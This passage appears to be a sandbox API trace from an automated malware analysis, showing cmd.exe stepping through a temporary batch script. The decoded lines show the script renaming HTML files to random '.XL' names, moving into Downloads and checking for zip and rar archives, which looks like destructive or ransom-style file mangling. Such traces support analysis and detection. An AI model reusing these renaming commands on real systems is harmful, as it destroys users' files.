lpDistanceToMoveHigh=0x0) returned 0x701 [0037.643] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.643] GetFileType (hFile=0x74) returned 0x1 [0037.643] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0037.643] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.643] SetFilePointer (in: hFile=0x74, lDistanceToMove=1795, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0037.643] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0037.643] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.643] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0037.643] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.643] GetFileType (hFile=0x74) returned 0x1 [0037.644] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0037.644] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.644] SetFilePointer (in: hFile=0x74, lDistanceToMove=1822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0037.644] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0037.644] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.644] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0037.644] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.644] GetFileType (hFile=0x74) returned 0x1 [0037.644] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0037.644] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.644] SetFilePointer (in: hFile=0x74, lDistanceToMove=1833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0037.644] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0037.644] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.644] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0037.644] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.644] GetFileType (hFile=0x74) returned 0x1 [0037.644] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0037.645] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.645] SetFilePointer (in: hFile=0x74, lDistanceToMove=1839, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0037.645] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Ran\r\nock\r\n") returned 6 [0037.645] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.645] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0037.645] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.645] GetFileType (hFile=0x74) returned 0x1 [0037.645] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0037.645] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.645] SetFilePointer (in: hFile=0x74, lDistanceToMove=1845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0037.645] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd..\r\n") returned 6 [0037.645] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.645] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0037.645] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.645] GetFileType (hFile=0x74) returned 0x1 [0037.645] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0037.645] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.646] SetFilePointer (in: hFile=0x74, lDistanceToMove=1859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0037.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=14, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Downloads\r\n%RANDOM%.XL\r\n") returned 14 [0037.646] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.646] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0037.646] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.646] GetFileType (hFile=0x74) returned 0x1 [0037.646] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0037.646] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.646] SetFilePointer (in: hFile=0x74, lDistanceToMove=1861, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0037.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n Downloads\r\n") returned 2 [0037.646] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.646] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0037.646] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.646] GetFileType (hFile=0x74) returned 0x1 [0037.646] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0037.646] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.646] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0037.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\nloads\r\n") returned 7 [0037.647] _close (_FileHandle=3) returned 0 [0037.647] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.647] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.649] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.649] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.649] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.649] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.650] SetConsoleInputExeNameW () returned 0x1 [0037.650] GetConsoleOutputCP () returned 0x1b5 [0037.650] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.650] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.650] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.650] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.650] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.650] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0037.650] GetProcessHeap () returned 0x4e0000 [0037.650] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.651] GetProcessHeap () returned 0x4e0000 [0037.651] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ad8 | out: hHeap=0x4e0000) returned 1 [0037.651] GetProcessHeap () returned 0x4e0000 [0037.651] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.651] GetProcessHeap () returned 0x4e0000 [0037.651] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.651] GetProcessHeap () returned 0x4e0000 [0037.651] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.651] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.651] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0037.651] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ee1, lpOverlapped=0x0) returned 1 [0037.651] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0037.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\ng %RANDOM%.XL\r\n\n") returned 2 [0037.651] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.651] GetFileType (hFile=0x74) returned 0x1 [0037.651] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.651] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0037.651] GetProcessHeap () returned 0x4e0000 [0037.651] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.652] GetProcessHeap () returned 0x4e0000 [0037.652] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.652] _tell (_FileHandle=3) returned 1870 [0037.652] _close (_FileHandle=3) returned 0 [0037.652] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.652] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.652] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.652] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0037.652] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.652] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0037.652] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1edf, lpOverlapped=0x0) returned 1 [0037.653] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0037.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0037.653] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.653] GetFileType (hFile=0x74) returned 0x1 [0037.653] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.653] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0037.653] GetProcessHeap () returned 0x4e0000 [0037.653] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.653] GetProcessHeap () returned 0x4e0000 [0037.653] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.653] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.653] GetProcessHeap () returned 0x4e0000 [0037.653] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.653] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.653] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.653] GetProcessHeap () returned 0x4e0000 [0037.653] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.653] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.653] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.654] GetProcessHeap () returned 0x4e0000 [0037.654] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.654] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.654] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.654] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.654] GetProcessHeap () returned 0x4e0000 [0037.654] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.654] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.654] GetProcessHeap () returned 0x4e0000 [0037.654] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.654] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.654] GetProcessHeap () returned 0x4e0000 [0037.654] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.654] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.655] _tell (_FileHandle=3) returned 1895 [0037.655] _close (_FileHandle=3) returned 0 [0037.655] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0037.655] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.655] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.656] GetLastError () returned 0x2 [0037.656] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.656] GetLastError () returned 0x6 [0037.656] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.656] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.656] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.656] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.656] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.656] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.657] SetConsoleInputExeNameW () returned 0x1 [0037.657] GetConsoleOutputCP () returned 0x1b5 [0037.657] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.657] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.657] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.657] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.657] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.657] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0037.657] GetProcessHeap () returned 0x4e0000 [0037.657] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.657] GetProcessHeap () returned 0x4e0000 [0037.657] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.658] GetProcessHeap () returned 0x4e0000 [0037.658] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.658] GetProcessHeap () returned 0x4e0000 [0037.658] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.658] GetProcessHeap () returned 0x4e0000 [0037.658] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.658] GetProcessHeap () returned 0x4e0000 [0037.658] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.658] GetProcessHeap () returned 0x4e0000 [0037.658] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.658] GetProcessHeap () returned 0x4e0000 [0037.658] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.658] GetProcessHeap () returned 0x4e0000 [0037.658] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.658] GetProcessHeap () returned 0x4e0000 [0037.658] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.658] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.658] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0037.658] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec6, lpOverlapped=0x0) returned 1 [0037.658] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0037.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0037.659] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.659] GetFileType (hFile=0x74) returned 0x1 [0037.659] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.659] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0037.659] GetProcessHeap () returned 0x4e0000 [0037.659] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.659] GetProcessHeap () returned 0x4e0000 [0037.659] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.659] _tell (_FileHandle=3) returned 1897 [0037.659] _close (_FileHandle=3) returned 0 [0037.659] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.659] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.659] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.659] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0037.660] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.660] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0037.660] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec4, lpOverlapped=0x0) returned 1 [0037.660] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0037.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0037.660] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.660] GetFileType (hFile=0x74) returned 0x1 [0037.660] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.660] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0037.660] GetProcessHeap () returned 0x4e0000 [0037.660] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.660] GetProcessHeap () returned 0x4e0000 [0037.660] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.660] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.660] GetProcessHeap () returned 0x4e0000 [0037.660] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.660] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.660] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.660] GetProcessHeap () returned 0x4e0000 [0037.660] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.661] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.661] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.661] GetProcessHeap () returned 0x4e0000 [0037.661] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.661] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.661] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.661] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.661] GetProcessHeap () returned 0x4e0000 [0037.661] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.661] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.661] GetProcessHeap () returned 0x4e0000 [0037.661] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.661] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.661] GetProcessHeap () returned 0x4e0000 [0037.661] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.661] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 